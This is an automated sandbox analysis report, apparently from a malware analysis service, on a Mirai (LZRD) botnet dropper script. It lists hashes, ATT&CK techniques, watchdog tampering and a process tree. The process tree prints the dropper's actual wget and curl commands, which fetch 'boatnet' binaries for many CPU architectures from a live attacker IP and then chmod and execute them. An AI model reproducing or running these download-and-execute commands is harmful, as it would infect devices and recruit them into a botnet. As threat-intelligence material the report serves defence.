mirai | 7dafaee4c6dc91a023a6882f75d3b4c4404261d21e769043d9d19db88172b91a

Analysis

max time kernel
149s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12/10/2024, 06:24

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General

Target

na.sh
Size

2KB
MD5

4b8885cf53734502d543862cb1a89f00
SHA1

6a16f879228ca04c48854bd370b3f1d8142c8dad
SHA256

7dafaee4c6dc91a023a6882f75d3b4c4404261d21e769043d9d19db88172b91a
SHA512

6d8bf12b74faf46a6bd3e973cdac62e6b5692fdbd93804b679f8a79070dd8ae770a270efa1ebba6caad712fdfb503a843dd75bb8a04b57884d294d9e380a5b13

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1613	chmod
1531	chmod
1539	chmod
1547	chmod
1603	chmod
1627	chmod
1635	chmod
1499	chmod
1522	chmod
1583	chmod
1643	chmod
1491	chmod
1507	chmod
1567	chmod
1595	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1492	WTF
/tmp/WTF	1500	WTF
/tmp/WTF	1508	WTF
/tmp/WTF	1524	WTF
/tmp/WTF	1532	WTF
/tmp/WTF	1540	WTF
/tmp/WTF	1548	WTF
/tmp/WTF	1568	WTF
/tmp/WTF	1584	WTF
/tmp/WTF	1596	WTF
/tmp/WTF	1604	WTF
/tmp/WTF	1614	WTF
/tmp/WTF	1628	WTF
/tmp/WTF	1636	WTF
/tmp/WTF	1644	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1243/cmdline	WTF
File opened for reading	/proc/1177/cmdline	WTF
File opened for reading	/proc/1181/cmdline	WTF
File opened for reading	/proc/1549/cmdline	WTF
File opened for reading	/proc/1033/cmdline	WTF
File opened for reading	/proc/1286/cmdline	WTF
File opened for reading	/proc/1053/cmdline	WTF
File opened for reading	/proc/1167/cmdline	WTF
File opened for reading	/proc/444/cmdline	WTF
File opened for reading	/proc/1549/cmdline	WTF
File opened for reading	/proc/1469/cmdline	WTF
File opened for reading	/proc/1154/cmdline	WTF
File opened for reading	/proc/1364/cmdline	WTF
File opened for reading	/proc/1597/cmdline	WTF
File opened for reading	/proc/587/cmdline	WTF
File opened for reading	/proc/1473/cmdline	WTF
File opened for reading	/proc/1179/cmdline	WTF
File opened for reading	/proc/1639/cmdline	WTF
File opened for reading	/proc/468/cmdline	WTF
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/1177/cmdline	WTF
File opened for reading	/proc/1089/cmdline	WTF
File opened for reading	/proc/1099/cmdline	WTF
File opened for reading	/proc/1364/cmdline	WTF
File opened for reading	/proc/1009/cmdline	WTF
File opened for reading	/proc/1556/cmdline	WTF
File opened for reading	/proc/1089/cmdline	WTF
File opened for reading	/proc/1364/cmdline	WTF
File opened for reading	/proc/459/cmdline	WTF
File opened for reading	/proc/1226/cmdline	WTF
File opened for reading	/proc/1587/cmdline	WTF
File opened for reading	/proc/479/cmdline	WTF
File opened for reading	/proc/1301/cmdline	WTF
File opened for reading	/proc/449/cmdline	WTF
File opened for reading	/proc/1136/cmdline	WTF
File opened for reading	/proc/1033/cmdline	WTF
File opened for reading	/proc/1551/cmdline	WTF
File opened for reading	/proc/1060/cmdline	WTF
File opened for reading	/proc/1551/cmdline	WTF
File opened for reading	/proc/1136/cmdline	WTF
File opened for reading	/proc/529/cmdline	WTF
File opened for reading	/proc/1172/cmdline	WTF
File opened for reading	/proc/1503/cmdline	WTF
File opened for reading	/proc/1129/cmdline	WTF
File opened for reading	/proc/1150/cmdline	WTF
File opened for reading	/proc/1141/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/1599/cmdline	WTF
File opened for reading	/proc/407/cmdline	WTF
File opened for reading	/proc/1503/cmdline	WTF
File opened for reading	/proc/1062/cmdline	WTF
File opened for reading	/proc/1232/cmdline	WTF
File opened for reading	/proc/1033/cmdline	WTF
File opened for reading	/proc/1587/cmdline	WTF
File opened for reading	/proc/960/cmdline	WTF
File opened for reading	/proc/1599/cmdline	WTF
File opened for reading	/proc/407/cmdline	WTF
File opened for reading	/proc/1243/cmdline	WTF
File opened for reading	/proc/1647/cmdline	WTF
File opened for reading	/proc/656/cmdline	WTF
File opened for reading	/proc/1258/cmdline	WTF
File opened for reading	/proc/444/cmdline	WTF
File opened for reading	/proc/1089/cmdline	WTF
File opened for reading	/proc/1629/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1496	wget
1497	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.x86_64	wget
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.i686	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/WTF	na.sh
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm6	curl

/tmp/na.sh
/tmp/na.sh
1⤵
- Writes file to tmp directory
PID:1475
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1476
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1489
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1490
- /bin/chmod
  chmod +x boatnet.x86 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1492
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1500
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1504
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1508
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.i468
  2⤵
  PID:1512
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1524
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1532
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1540
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1544
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1548
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-8fDDca systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1568
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1572
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1575
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1584
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1588
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-QFYfRa systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1596
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1600
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-QFYfRa systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1603
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1604
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1611
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1614
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1618
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1623
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1627
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1628
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1632
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1633
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1635
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1636
- /usr/bin/wget
  wget http://93.123.109.160/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1640
- /usr/bin/curl
  curl -O http://93.123.109.160/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1641
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-G4apKo na.sh netplan_iqgixu2l snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ur2JJy WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1643
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
564963951a15db2bf470836f8cab2ceb

SHA1
b8f28d04de5e47332496312ad77485c46bc36791

SHA256
1f605a76cf99ed4c898a7640ca264bc77d017f8da4faafe1bb784e7dd3a6f3af

SHA512
231a1ec99a07812b904a8fb2f2a52a2c7a9096227d3d9665fc7a0f0379250c1f36238cd0ea976dba043bc9bd68df34126f26aa65070722e8584263ade7c7acd6

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